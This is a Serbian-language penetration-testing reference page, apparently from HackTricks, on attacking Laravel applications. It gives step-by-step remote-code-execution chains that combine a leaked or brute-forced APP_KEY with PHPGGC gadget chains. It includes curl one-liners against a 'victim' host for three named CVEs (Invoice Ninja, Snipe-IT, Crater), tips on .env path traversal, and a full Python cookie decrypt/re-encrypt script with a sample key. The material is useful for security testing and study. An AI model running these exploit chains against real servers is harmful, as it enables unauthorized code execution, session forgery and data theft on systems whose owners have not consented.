# Laravel {{#include ../../banners/hacktricks-training.md}} ### Laravel SQLInjection Pročitajte informacije o tome ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- ## APP_KEY & Encryption internals (Laravel \u003e=5.6) Laravel koristi AES-256-CBC (ili GCM) sa HMAC integritetom u pozadini (`Illuminate\\Encryption\\Encrypter`). Sirov ciphertext koji se konačno **šalje klijentu** je **Base64 JSON objekat** poput: ```json { "iv" : "Base64(random 16-byte IV)", "value": "Base64(ciphertext)", "mac" : "HMAC_SHA256(iv||value, APP_KEY)", "tag" : "" // only used for AEAD ciphers (GCM) } ``` `encrypt($value, $serialize=true)` će po defaultu `serialize()` plaintext, dok će `decrypt($payload, $unserialize=true)` **automatski `unserialize()`** dekriptovanu vrednost. Stoga **bilo koji napadač koji zna 32-bajtni tajni `APP_KEY` može napraviti enkriptovani PHP serijalizovani objekat i dobiti RCE putem magičnih metoda (`__wakeup`, `__destruct`, …)**. Minimal PoC (framework ≥9.x): ```php use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` Ubaci proizvedeni string u bilo koji ranjivi `decrypt()` sink (parametar rute, kolačić, sesija, …). --- ## laravel-crypto-killer 🧨 [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatizuje ceo proces i dodaje praktičan **bruteforce** režim: ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" # Decrypt a captured cookie / token laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` Skripta transparentno podržava i CBC i GCM payload-e i ponovo generiše HMAC/tag polje. --- ## Stvarni ranjivi obrasci | Projekat | Ranjivi sink | Gadget lanac | |----------|--------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | | Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` kolačić kada je `Passport::withCookieSerialization()` omogućen | Laravel/RCE9 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` kolačić | Laravel/RCE15 | Tok eksploatacije je uvek: 1. Dobiti ili brute-force-ovati 32-bajtni `APP_KEY`. 2. Izgraditi gadget lanac sa **PHPGGC** (na primer `Laravel/RCE13`, `Laravel/RCE9` ili `Laravel/RCE15`). 3. Enkriptovati serijalizovani gadget sa **laravel_crypto_killer.py** i povraćenim `APP_KEY`. 4. Dostaviti ciphertext ranjivom `decrypt()` sinku (parametar rute, kolačić, sesija …) da se aktivira **RCE**. Ispod su sažeti jednolinijski primeri koji prikazuju ceo put napada za svaki stvarni CVE pomenut iznad: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ ./laravel_crypto_killer.py encrypt -k -v - | \ xargs -I% curl "https://victim/route/%" # Snipe-IT ≤6 – XSRF-TOKEN cookie php7.4 phpggc Laravel/RCE9 system id -b | \ ./laravel_crypto_killer.py encrypt -k -v - > xsrf.txt curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login # Crater – cookie-based session php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` --- ## Otkriće APP_KEY putem brute-force napada na kolačiće Budući da svaki sveži Laravel odgovor postavlja najmanje 1 enkriptovani kolačić (`XSRF-TOKEN` i obično `laravel_session`), **javne internet skeneri (Shodan, Censys, …) otkrivaju milione cifara** koje se mogu napasti van mreže. Ključni nalazi istraživanja objavljenog od strane Synacktiv (2024-2025): * Skup podataka jul 2024 » 580 k tokena, **3.99 % ključeva je probijeno** (≈23 k) * Skup podataka maj 2025 » 625 k tokena, **3.56 % ključeva je probijeno** * >1 000 servera još uvek ranjivo na legacy CVE-2018-15133 jer tokeni direktno sadrže serijalizovane podatke. * Ogromna ponovna upotreba ključeva – Top-10 APP_KEY-ova su hard-kodirani podrazumevani ključevi isporučeni sa komercijalnim Laravel šablonima (UltimatePOS, Invoice Ninja, XPanel, …). Privatni Go alat **nounours** povećava AES-CBC/GCM bruteforce propusnost na ~1.5 milijardi pokušaja/s, smanjujući vreme potrebno za probijanje celog skupa podataka na <2 minuta. ## Laravel trikovi ### Debugging mod Ako je Laravel u **debugging modu** moći ćete da pristupite **kod** i **osetljivim podacima**.\ Na primer `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) Ovo je obično potrebno za iskorišćavanje drugih Laravel RCE CVE-ova. ### .env Laravel čuva APP koji koristi za enkripciju kolačića i drugih akreditiva unutar datoteke pod nazivom `.env` koja se može pristupiti koristeći neku putanju za prolaz pod: `/../.env` Laravel će takođe prikazati ove informacije unutar debug stranice (koja se pojavljuje kada Laravel pronađe grešku i aktivira se). Koristeći tajni APP_KEY Laravel-a možete dekriptovati i ponovo enkriptovati kolačiće: ### Dekriptovanje kolačića ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps #https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3 def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value) def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value) def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic['mac'] value = bytes(dic['value'], 'utf-8') iv = bytes(dic['iv'], 'utf-8') if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return '' def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, 'utf-8') value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE Ranljive verzije: 5.5.40 i 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) Ovde možete pronaći informacije o ranjivosti deserializacije: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) Možete je testirati i iskoristiti koristeći [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ Ili je takođe možete iskoristiti sa metasploit-om: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 Još jedna deserializacija: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) ## References * [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) {{#include ../../banners/hacktricks-training.md}}